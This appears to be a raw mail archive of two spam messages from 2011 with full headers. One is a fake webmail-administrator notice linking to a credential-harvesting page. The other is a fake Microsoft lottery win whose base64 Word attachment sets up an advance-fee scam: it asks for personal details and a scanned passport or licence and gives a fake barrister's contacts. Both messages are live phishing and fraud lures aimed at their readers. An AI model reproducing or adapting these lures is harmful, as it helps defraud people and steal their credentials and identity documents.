X-IronPort-Anti-Spam-Result: ApYOAOkIjk2E94a1/2dsb2JhbACCG5ZNjXa1RIRciDWDCgEEgloEhTo Received: from correo.unam.mx (HELO webmail.servidor.unam.mx) ([132.247.134.181]) by relay.servidores.unam.mx with ESMTP; 26 Mar 2011 09:45:43 -0600 Received: from 69.22.186.253 (SquirrelMail authenticated user jlfigher) by webmail.servidor.unam.mx with HTTP; Sat, 26 Mar 2011 09:50:22 -0600 Message-ID: Date: Sat, 26 Mar 2011 09:50:22 -0600 X-ASG-Orig-Subj: Update required Subject: Update required From: "Webmail Admin Service" To: customer@webmail.info User-Agent: SquirrelMail/1.4.21 MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal X-Barracuda-Connect: salida7.unam.mx[132.248.194.219] X-Barracuda-Start-Time: 1301154346 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0107 1.0000 -1.9511 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -1.95 X-Barracuda-Spam-Status: No, SCORE=-1.95 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=DKIM_SIGNED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.59034 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Dear account owner you are advise to update your mailbox by clicking the below link for the confirmation of your account update. Click below for your update:. http://webmailadminserverupdate.services.officelive.com/default.aspx Thank you for using webmail. From ukmicronationwide@w.cn Sat Mar 26 14:34:14 2011 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2QJYBsx070482 for ; Sat, 26 Mar 2011 14:34:13 -0500 X-ASG-Debug-ID: 1301168234-479b03470000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from maiev.nerim.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 7D5A715A35BA for ; Sat, 26 Mar 2011 12:37:14 -0700 (PDT) Received: from maiev.nerim.net (smtp-156-saturday.nerim.net [194.79.134.156]) by cuda.sgi.com with ESMTP id asQ6c3UO4dPYNYo4 for ; Sat, 26 Mar 2011 12:37:14 -0700 (PDT) Received: from edvige.nerim.net (edvige.nerim.net [194.79.134.37]) by maiev.nerim.net (Postfix) with ESMTP id B69CA2E07A; Sat, 26 Mar 2011 20:37:12 +0100 (CET) Received: by edvige.nerim.net (Postfix, from userid 80) id 7A7D12298; Sat, 26 Mar 2011 20:31:21 +0100 (CET) To: undisclosed-recipients:; X-ASG-Orig-Subj: CONGRATULATIONS!!! Subject: CONGRATULATIONS!!! MIME-Version: 1.0 Date: Sat, 26 Mar 2011 20:31:21 +0100 From: MICROSOFT COMPANY PROMOTION Organization: MICROSOFT COMPANY Reply-To: ukmicronationwide002@w.cn Message-ID: <13b35390cc7de2163e1fd6d97d36d67e@nerim.net> X-Sender: ukmicronationwide@w.cn User-Agent: RoundCube Webmail/0.1 X-Login: c2afidecompta@nerim.net Content-Type: multipart/mixed; boundary="=_0f223fce1d07f069277a4c00cbb23ca6" X-Barracuda-Connect: smtp-156-saturday.nerim.net[194.79.134.156] X-Barracuda-Start-Time: 1301168239 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -1001.00 X-Barracuda-Spam-Status: No, SCORE=-1001.00 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean --=_0f223fce1d07f069277a4c00cbb23ca6 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: 8bit -- Find below the attach file of your winning information from Microsoft corporation company world online lottery 2011 Regards, Microsoft Manager. --=_0f223fce1d07f069277a4c00cbb23ca6 Content-Transfer-Encoding: base64 Content-Type: ; name="Congratulations18a.doc"; charset="UTF-8" Content-Disposition: attachment; filename="Congratulations18a.doc" 0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAAMAAAAhAUAAAAAAAAA EAAAhgUAAAEAAAD+////AAAAAHgFAAB5BQAAegUAAHsFAAB8BQAAfQUAAH4FAAB/BQAAgAUAAIEF AACCBQAAgwUAAP////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////////////s pcEAcWAJBAAA+BK/AAAAAAAAEAAAAAAABgAA2R4AAA4AYmpianFQcVAAAAAAAAAAAAAAAAAAAAAA AAAJBBYA6QYKABM6AQATOgEAwhYAAAAAAAAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//w8AAAAA AAAAAAD//w8AAAAAAAAAAAD//w8AAAAAAAAAAAAAAAAAAAAAAKQAAAAAAIIHAAAAAAAAggcAAIIH AAAAAAAAggcAAAAAAACCBwAAAAAAAIIHAAAAAAAAggcAABQAAAAAAAAAAAAAAJYHAAAAAAAAniUA AAAAAACeJQAAAAAAAJ4lAAA4AAAA1iUAAHwAAABSJgAAjAAAAJYHAAAAAAAAjKsAAHYCAADqJgAA FgAAAAAnAAAAAAAAACcAAAAAAAAAJwAAAAAAAAAnAAAAAAAAkJkAAAAAAACQmQAAAAAAAJCZAAAA AAAAC6sAAAIAAAANqwAAAAAAAA2rAAAAAAAADasAAAAAAAANqwAAAAAAAA2rAAAAAAAADasAACQA AAACrgAAaAIAAGqwAABaAAAAMasAABUAAAAAAAAAAAAAAAAAAAAAAAAAggcAAAAAAAAXnwAAAAAA AAAAAAAAAAAAAAAAAAAAAABelgAA1AIAADKZAABeAAAAF58AAAAAAAAXnwAAAAAAADGrAAAAAAAA AAAAAAAAAACCBwAAAAAAAIIHAAAAAAAAACcAAAAAAAAAAAAAAAAAAAAnAABebwAARqsAABYAAADL pgAAAAAAAMumAAAAAAAAy6YAAAAAAAAXnwAAWAAAAIIHAAAAAAAAACcAAAAAAACCBwAAAAAAAAAn AAAAAAAAC6sAAAAAAAAAAAAAAAAAAMumAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAF58AAAAAAAALqwAAAAAAAAAAAAAAAAAAy6YAAAAAAAAAAAAA AAAAAMumAAAAAAAAggcAAAAAAACCBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAy6YAAAAAAAAAJwAAAAAAAN4mAAAMAAAAgOGjIx7r ywEAAAAAAAAAAJ4lAAAAAAAAb58AAHAAAADLpgAAAAAAAAAAAAAAAAAAZ6kAAKQBAABcqwAAMAAA AIyrAAAAAAAAy6YAAAAAAADEsAAAAAAAAN+fAABeAwAAxLAAAAAAAADLpgAAGAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADj pgAAXAAAAMSwAAAAAAAAAAAAAAAAAACCBwAAAAAAAD+nAAAoAgAAkJkAAI4BAAAemwAAHAEAAMum AAAAAAAAOpwAAOQAAAAenQAA+QEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAkJkA AAAAAACQmQAAAAAAAJCZAAAAAAAAMasAAAAAAAAxqwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAPaMAAI4DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJCZAAAA AAAAkJkAAAAAAACQmQAAAAAAAIyrAAAAAAAAF58AAAAAAAAXnwAAAAAAABefAAAAAAAAF58AAAAA AAAAAAAAAAAAAJYHAAAAAAAAlgcAAAAAAACWBwAARBoAANohAADEAwAAlgcAAAAAAACWBwAAAAAA AJYHAAAAAAAA2iEAAAAAAACWBwAAAAAAAJYHAAAAAAAAlgcAAAAAAACCBwAAAAAAAIIHAAAAAAAA ggcAAAAAAACCBwAAAAAAAIIHAAAAAAAAggcAAAAAAAD/////AAAAAAIADAEAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgIoKCg oKCgoKCgoKCgoKCgoKAgDQigoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKAgoENvbmdy YXR1bGF0aW9ucyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0NoCANRlJPTTogVEhFIERFU0sgT0YgVEhF IEUtTUFJTCBQUk9NT1RJT05TIE1BTkFHRVIgSU5URVJOQVRJT05BTA1QUk9NT1RJT05TL1BSSVpF IEFXQVJEIERFUEFSVE1FTlQsIE1JQ1JPU09GVKBDT1JQT1JBVElPTqBTV0VFUFNUQUtFUyBXT1JM RCBMT1RURVJZIFVOSVRFRCBLSU5HRE9NLjYxLTcwIFNPVVRIQU1QVE9OIFJPVyBCTE9PTVNCVVJZ IExPTkRPTiBVTklURUQgS0lOR0RPTSBXQzFCIDRBUi4NDVJFRkVSRU5DRSBOTzogVUsvOTQyMFgv MDUNQkFUQ0ggTk86IDA3NC8wNS9aWTM2OSAgICAgIA0IV0lOTklORyBOTzogUEI4NzAxL0xQUkMN V0lOTkVSOiBOTzE3DaANDQ0NDQ0NCA0NRUxFQ1RST05JQyBFTUFJTCBBV0FSRCBXSU5OSU5HIE5P VElGSUNBVElPTiBBV0FSRCBQUkVTRU5UQVRJT04gQ0VOVEVSOiBVTklURUQgS0lOR0RPTQ0NDQgN DaANDQ0NDQ0NDQhERUFSIFdJTk5FUiwNDQhNSUNST1NPRlQgQ08tT1BFUkFUSU9OIE1BTkFHRU1F TlQgV09STERXSURFIEFSRSBQTEVBU0VEIFRPIElORk9STSBZT1UgVEhBVCBUSEUgRklOQUwgQU5O T1VOQ0VNRU5UIFRIQVQgWU9VIEFSRSBPTkUgT0YgT1VSIEVORCBPRiBZRUFSIFdJTk5FUlMgT0Yg VEhFIE1TLVdPUkxEIFVOSVRFRCBLSU5HRE9NIElOVEVSTkFUSU9OQUwgTE9UVEVSWSBQUk9HUkFN IEhFTEQgT04gVEhFIDdUSCBNQVJDSCwgMjAxMS5USEUgT05MSU5FIENZQkVSIExPVFRPIERSQVdT IFdBUyBDT05EVUNURUQgRlJPTSBBTiBFWENMVVNJVkUgTElTVCBPRiAxNDcsMDAwIEUtTUFJTCBB RERSRVNTRVMgT0YgSU5ESVZJRFVBTFMgQU5EIENPUlBPUkFURSBCT0RJRVMgUElDS0VEIEJZIEFO IEFEVkFOQ0VEIEFVVE9NQVRFRCBSQU5ET00gQ09NUFVURVIgU0VBUkNIIEZST00gVEhFIElOVEVS TkVUIFdJVEhPVVQgQU5ZIFBISVNJQ0FMIFRJQ0tFVFMgU09MRC4NDUFGVEVSIFRISVMgQVVUT01B VEVEIENPTVBVVEVSIEJBTExPVCwgWU9VUiBFLU1BSUwgQUREUkVTUyBFTUVSR0VEIEFTIE9ORSBP RiBUSFJFRSBXSU5ORVJTIElOIFRIRSBDQVRFR09SWSAiQSIgV0lUSCBTRVJJQUwgTlVNQkVSIDcw NzgyNDA3NyBBTkQgV0lUSCBUSEUgRk9MTE9XSU5HIFdJTk5JTkcgSU5GT1JNQVRJT046IKBZT1Ug QVJFIEhFTkNFRk9SVEggQVBQUk9WRUQgVE8gQ0xBSU0gQSBUT1RBTCBTVU0gT0YgozU1MCwwMDAu MDAgKEZJVkUgSFVORFJFRCBBTkQgRklGVFkgVEhPVVNBTkQgUE9VTkRTIFNURVJMSU5HKS4gUEFZ QUJMRSBJTiBDQVNIIENSRURJVEVEIFRPIEZJTEUgUkVGIE5POiBJTFAvSFcgMDQ1OTc4NDI1LzEx LiBUSElTIElTIEZST00gVE9UQUwgUFJJWkUgTU9ORVkgT0YgoyAyNyw1MDAsMDAwLjAwIFBPVU5E UyBTVEVSTElORywgU0hBUkVEIEFNT05HIFRIRaA1MKBMVUNLWSBJTlRFUk5BVElPTkFMIFdJTk5F UlMgV0lUSCBUT1NISUJBIFNBVEVMTElURSBMQVBUT1AgTU9ERUwgTDUwNUdTNTAzNyBJTqBGSVJT VCBBTkQgU0VDT05EoENBVEVHT1JZLg0NQUxMIFBBUlRJQ0lQQU5UUyBXRVJFIFNFTEVDVEVEoFRI Uk9VR0ggT1VSIE1JQ1JPU09GVCBDT01QVVRFUiBCQUxMT1QgU1lTVEVNIERSQVdOIEZST00gMTQ3 LDAwMCBFTUFJTFMsIDIxLDAwMCBFTUFJTFMgRlJPTSBFQUNIIENPTlRJTkVOVCAoQUZSSUNBLCBB TlRBUkNUSUNBLCBBU0lBLCBBVVNUUkFMSUEsIEVVUk9QRSwgTk9SVEggQU1FUklDQSwgQU5EIFNP VVRIIEFNRVJJQ0EuLCBBUyBQQVJUIE9GIElOVEVSTkFUSU9OQUwgIkUtTUFJTCIgUFJPTU9USU9O UyBQUk9HUkFNTUUsIFdISUNIIElTIENPTkRVQ1RFRCBBTk5VQUxMWSBGT1IgT1VSIFBST01JTkVO VCBNUyAtV09SRCBVU0VSUyBBTEwgT1ZFUiBUSEUgV09STEQgVE8gRU5DT1VSQUdFIFRIRSBVU0Ug T0YgSU5URVJORVQgQU5EIENPTVBVVEVSUyBXT1JMRFdJREUuoCANoA1ZT1VSIEZVTkQgKENFUlRJ RklFRCBDSEVRVUUgQU5EIFlPVVIgV0lOTklORyBDRVJUSUZJQ0FURSkgSEFTIEJFRU4gSU5TVVJF RCBXSVRIIFlPVVIgUkVGIE5POiBVSy85NDIwWC8wNSBBTkQgV0lMTCBCRSBSRUFEWSBGT1IgVFJB TlNGRVIgQVMgU09PTiBBUyBZT1UgQ09OVEFDVCBZT1VSIENMQUlNIEFHRU5UIEJBUlJJU1RFUi5N QVJLIFJFWC4gWU9VUiBFLU1BSUwgQUREUkVTUyBIQVMgVE8gQkUgVVNFRCBJTiBBTEwgQ09SUkVT UE9OREVOQ0UgV0lUSCBZT1VSIENMQUlNUyBPRkZJQ0VSLCBQTEVBU0UgTk9URSBUSEFULCBZT1Ug QVJFIFRPDUNPTlRBQ1QgWU9VUiBDTEFJTVMgT0ZGSUNFUiBWSUEgRU1BSUwgT1IgVEVMRVBIT05F IEFTIFdFIEFSRSBQUk9NT1RJTkcgVEhFIFVTRSBPRiBFLU1BSUwuIA0NSU4gQURESVRJT04sIFlP VSBIQVZFIFRIRSBSSUdIVCBUTyBDQUxMIEhJTSBUTyBDT05GSVJNIFlPVVIgV0lOTklOR1MgQU5E IEdPVkVSTk1FTlQgVEFYIFBBWU1FTlQgVEhBVCBJUyBBTEwsIEFTIEhFIFdJTEwgUFJPVklERSBZ T1UgV0lUSCBUSEUgTkVDRVNTQVJZIERFVEFJTFMgT04gSE9XIFRPIENMQUlNIFlPVVIgUFJJWkUu IEFTIFBBUlQgT0YgT1VSIFNFQ1VSSVRZIFBST1RPQ09MLCBZT1UgQVJFIFRPIFFVT1RFIFRISVMg U0VDVVJJVFkgQ09ERSBNU1cvTUFZL1hYMDcgVE8gWU9VUiBDTEFJTUlORyBBR0VOVC4gVEhJUyBJ UyBUTyBQUkVWRU5UIFNDQU0uDaCgDUNPTlRBQ1QgWU9VUiBDTEFJTVMgQkFSUklTVEVSIE9GRklD RVKgSU6gVU5JVEVEIEtJTkdET00uIA1OQU1FOqAgQkFSUklTVEVSLk1BUksgUkVYDQhFTUFJTDog ICBiYXJybWFya3JleC5jZmFjQHcuY24NVEVMRVBIT05FOiArNDQgNzA0NTcgMjQ1NTMNDU5PVEU6 IEJFIFdBUk5FRCBOT1QgVE8gUkVQTFkgIE1BSUxTIExJS0UgVEhJUyBPTiBORVQsIEFTIFRIRVJF IEFSRSBBIExPVFMgT0YgU0NBTSBBUlRJU1QgT1VUIFRIRVJFIFBSRVRFTkRJTkcgVE8gQkUgVVMu IFlPVVIgQ0xBSU0gQUdFTlQsoEJBUlJJU1RFUi5NQVJLIFJFWCBJTiBVTklURUQgS0lOR0RPTSBX SUxMIEFTU0lTVCBZT1UgSU4gVEhFIFBST0NFU1NJTkcgT0YgWU9VUiBQUklDRSBSRURFRU1USU9O IFdJVEggWU9VUiBDSE9TRU4gUEFZTUVOVCBDRU5UUkUuDaAJDUNPTkdSQVRVTEFUSU9OUywgT05D RSBNT1JFIEZST02gVEhFIEVOVElSRaBNQU5BR0VNRU5UIEFORCBTVEFGRiBPRiBNSUNST1NPRlQg Q08tT1BFUkFUSU9OIFRPIEFMTCBPVVKgTFVDS1kgV0lOTkVSUy4gVEhBTksgWU9VIEZPUiBCRUlO RyBQQVJUIE9GIFRISVMgUFJPTU9USU9OQUwgTE9UVEVSWSBQUk9HUkFNLiBPVVIgU1BFQ0lBTCBU SEFOS1MgQU5EIEdSQVRJVFVERSBUTyBBTEygVEhFIEFTU09DSUFURVMgRk9SIEFMTEVWSUFUSU5H IFBPVkVSVFkgUk9VTkQgVEhFIFdPUkxELiANDVNJTkNFUkVMWS4gDQ1NUlMgQkVUSCBNT09EDaAg oKCgoKCgoKCgoKCgoKCgoKCgoKCgoA2goKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKAg DQ0NDQ0IDQgICAgICA0NCA0NDU1SUy4gUk9TRSBQQVRSSUNLIA0oQ08tQ09PUkRJTlRPUikuoKCg oKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKANoA0gICAgICAgICAgICAgICAgICAgICAg ICAgICAgIKBMT1RURVJZIFNQT05TT1JTOiBDSElFRiBTUE9OU09SUzsNTUlDUk9TT0ZUIENPUlBP UkFUSU9OIFVLLKCgoKCgoKCgoKCgoKBNSUNST1NPRlQgQ09SUE9SQVRJT04gQUZSSUNBLCANTUlD Uk9TT0ZUIENPUlBPUkFUSU9OIFVTQSygoKCgoKCgoKCgoE1JQ1JPU09GVCBDT1JQT1JBVElPTiBB U0lBLg0NUGFzdCB3aW5uZXJzLg2gDVJFRjogU0VUVExFTUVOVCBDRU5UUkU6DUlUIElToE1ZIFBM RUFTVVJFIFRPIElORk9STSBZT1UgVEhBVCBXRSBIQVZFoE9ORSBTRVRUTEVNRU5UIENFTlRFUlMg V0hFUkUgWU9VIFdJTEwgQ09OVEFDVCBGT1IgUkVERUVNSU5HIE9GIFlPVVIgV0lOTklORyBQUkla RSBPRiCjNTUwLDAwMC4wMCAoRklWRSBIVU5EUkVEIEFORCBGSUZUWSBUSE9VU0FORCBQT1VORFMg U1RFUkxJTkcpLg0NTkFNRTogU0NBUkxFVCBDT1VSSUVSIENPTVBBTlkNU0NBUkxFVCBDT1VSSUVS IENPTVBBTlkgVFJVU1RFRCBURVNURUQgV0hPIENBTiBERUxJVkVSIFlPVVIgV0lOTklORyBUTyBZ T1UgSU4gQU5ZIFBBUlQgT0YgVEhFIFdPUkxEDQ0NCA1GT1IgWU9VUiBQUklDRSBUTyBCRSBQUk9D RVNTRUQgWU9VIE5FRUQgVE8gQ09OVEFDVCBZT1VSIENMQUlNUyBCQVJSSVNURVIgRklMTCBVUCBU SElTIEZPUk0gQU5EICAgICBTRU5EIElUIFRPIE9VUiBDTEFJTaBCQVJSSVNURVIgSU4gVU5JVEVE IEtJTkdET00gV0lUSCBUSEUgRk9MTE9XSU5HIEVNQUlMIEFERFJFU1M6IEJBUlJJU1RFUi5NQVJL IFJFWC4gICAoYmFycm1hcmtyZXguY2ZhY0B3LmNuKS4gIFlPVSBBTFNPIEhBVkUgVE8gU0VORCBT Q0FOTkVEIENPUFkgT0YgWU9VUiBWQUxJRCBJTlRFUk5BVElPTkFMIERSSVZFUmBTIExJQ0VOQ0Ug T1IgUEFTU1BPUlQgVE8gQVZPSUQgRE9VQkxFIENMQUlNIA0NDU9OQ0UgV0UgUkVDRUlWRSBUSEUg UkVRVUlSRUQgSU5GT1JNQVRJT05TLCBUSEUgV0lMTCBCRSBGT1JXQVJERUQgVE8gWU9VUiBDSE9T RU4gREVMSVZFUlkgUEFZTUVOVCBDRU5UUkUgQUxPTkdTSURFIFlPVVIgT1JJR0lOQUwgV0lOTklO RyBDRVJUSUZJQ0FURSANIEFMTCBZT1UgTkVFRCBUTyBETyBJUyBUTyBHSVZFIFRIRU0gWU9VUiBB RERSRVNTIElORk9STUFUSU9OIFdIRVJFIFlPVSBXQU5UIFRIRSBDSEVRVUUgVE8gQkUgREVMSVZF UkVEIFRPLiANCA0NDaANDQ0NDaAIoCBZT1WSUkUgV0lOTkVSOiBOTyAxNyAgICANDQ0NTkFNRQ0I Bw06Bw0HBw1BRERSRVNTDQcNOgcNBwcNTkFUSU9OQUxJVFkNBw06Bw0HBw1TRVgNBw06Bw0HBw1B R0UNBw06Bw0HBw1QSE9ORQ0HDToHDQcHDU9DQ1VQQVRJT04NBw06BwgNBwcNQ09NUEFOWQ0HDToH DQcHDVNFQ1VSSVRZIENPREUNBw06Bw0HBw1XSU5OSU5HIE5PDQcNOgcNBwcNUEFZTUVOVCBDRU5U RVINBw06Bw0HBw0ICBMgSU5DTFVERVBJQ1RVUkUgImh0dHA6Ly9pMi5taWNyb3NvZnQuY29tL2gv YWxsL2kvbXNfbWFzdGhlYWRfOHg2YV9sdHIuanBnIiBcKiBNRVJHRUZPUk1BVCAUARUNDU5PVEUg VEhBVCBUSEVSRSBFWElTVFMgQSBQRVJJT0RJQyBDT05ESVRJT04gT04gQUxMIENMQUlNUyBQUk9D RVNTOyBUSEVSRUZPUkUsIFlPVSBIQVZFIExJTUlURUQgVElNRSBUTyBDTEFJTSBZT1VSIFdJTk5J TkdTLiBGQUlMVVJFIFRPIENMQUlNIFlPVVIgV0lOTklOR1MgV0lUSElOIFRIRSBTVElQVUxBVEVE IFRJTUUgRlJBTUUgV0lMTCBMRUFEIFRPIFRIRSBGT1JGRUlUVVJFIE9GIFlPVVIgV0lOTklOR1Mg QUZURVIgV0hJQ0ggWU9VUiBXSU5OSU5HUyBSRU1JVFRFRCBCQUNLIFRPIFRIRSBNSUNST1NPRlQg SEVBRFFVQVJURVJTIEFORCBXSUxMIFRIRU4gQkUgQURERUQgVE8gTkVYVCBXSU5OSU5HIERSQVdT LiBBTFNPIEtJTkRMWSBCRSBBV0FSRSBUSEFUIFRIRSBGSU5BTkNJQUwgU0VSVklDRVMgQVVUSE9S SVRZIFJFR1VMQVRFUyBUSEUgTUlDUk9TT0ZUIExPVFRFUlkgV0lOTklORyBQUklaRVMgQU5EIEFT IEEgUkVTVUxULCBZT1UgQVJFIEFEVklDRSBUTyBGT0xMT1cgVEhFIExPVFRFUlkgQ0xBSU1TIFRF Uk1TIEFORCBDT05ESVRJT05TIFRPIEVOU1VSRSBUSEUgUkVNSVRUQU5DRSBPRiBZT1VSIFBSSVpF IFRPIFlPVSBXSVRISU4gVEhFIFNUSVBVTEFURUQgVElNRSBPRiBUSEUgQ0xBSU1JTkcgT0YgV0lO TklOR1MuDQMNDQQNDQMNDQQNDQgNDQgNDQgNDQ0NAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAACCAAACQgAAAoIAAAV CAAAFggAADkIAABHCAAASAgAAGwIAACBCAAAzwgAAOPRudGdi3Jccj8kAAAAAAAAAAAAAAAAADUV aAY05AAWaNBFwgA1CIE2CIFCKgZDSpAAT0oDAFFKAwBYCIFcCIFeSgQAYUqQAHBo/wAAADgVaAY0 5AAWaNBFwgA1CIE2CIFCKgZDSpAAT0oDAFFKAwBYCIFcCIFdCIFeSgIAYUqQAHBo/wAAAAArFmjQ RcIANQiBNgiBQioGQ0qQAE9KAwBRSgMAWAiBXAiBYUqQAHBo/wAAADEVaAY05AAWaNBFwgA1CIE2 CIFCKgZDSpAAT0oDAFFKAwBYCIFcCIFhSpAAcGj/AAAAIxZo0EXCAEIqAUNKFABPSgIAUUoCAF5K AgBhShQAcGgAAAAANwNqAAAAABZoYFaUAEIqAUNKFABPSgIAUUoCAFUIAV5KAgBhShQAbUgABG5I AARwaAAAAAB1CAEvFmjQRcIANQiBNgiBQioBQ0oUAE9KAgBRSgIAXAiBXQiBXkoCAGFKFABwaDMz MwAjFmjQRcIAQioBQ0oUAE9KAgBRSgIAXkoCAGFKFABwaDMzMwA3A2oAAAAAFmhgVpQAQioBQ0oU AE9KAgBRSgIAVQgBXkoCAGFKFABtSAAEbkgABHBoMzMzAHUIAQALAAYAABUIAADQCAAA0QgAANQI AAASCQAAtQkAALYJAADQCQAA7QkAAAYKAAATCgAAFQoAABYKAAAXCgAAGAoAABkKAAAaCgAAGwoA AB0KAAAeCgAAdAoAAHUKAAB2CgAAeAoAAHkKAAB7CgAAfAoAAO8AAAAAAAAAAAAAAADvAAAAAAAA AAAAAAAA7wAAAAAAAAAAAAAAAO8AAAAAAAAAAAAAAADvAAAAAAAAAAAAAAAA7wAAAAAAAAAAAAAA AO8AAAAAAAAAAAAAAADvAAAAAAAAAAAAAAAA7wAAAAAAAAAAAAAAAO8AAAAAAAAAAAAAAADvAAAA AAAAAAAAAAAA7wAAAAAAAAAAAAAAAO8AAAAAAAAAAAAAAADvAAAAAAAAAAAAAAAA7wAAAAAAAAAA AAAAAO8AAAAAAAAAAAAAAADvAAAAAAAAAAAAAAAA7wAAAAAAAAAAAAAAAO8AAAAAAAAAAAAAAADv AAAAAAAAAAAAAAAA7wAAAAAAAAAAAAAAAO8AAAAAAAAAAAAAAADvAAAAAAAAAAAAAAAA7wAAAAAA AAAAAAAAAO8AAAAAAAAAAAAAAADvAAAAAAAAAAAAAAAA7wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAPAAASZCABAAAUpAAAMSQANyQAOCQASCQAZ2TQRcIAABsABgAAwh4AANgeAAD9/QAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 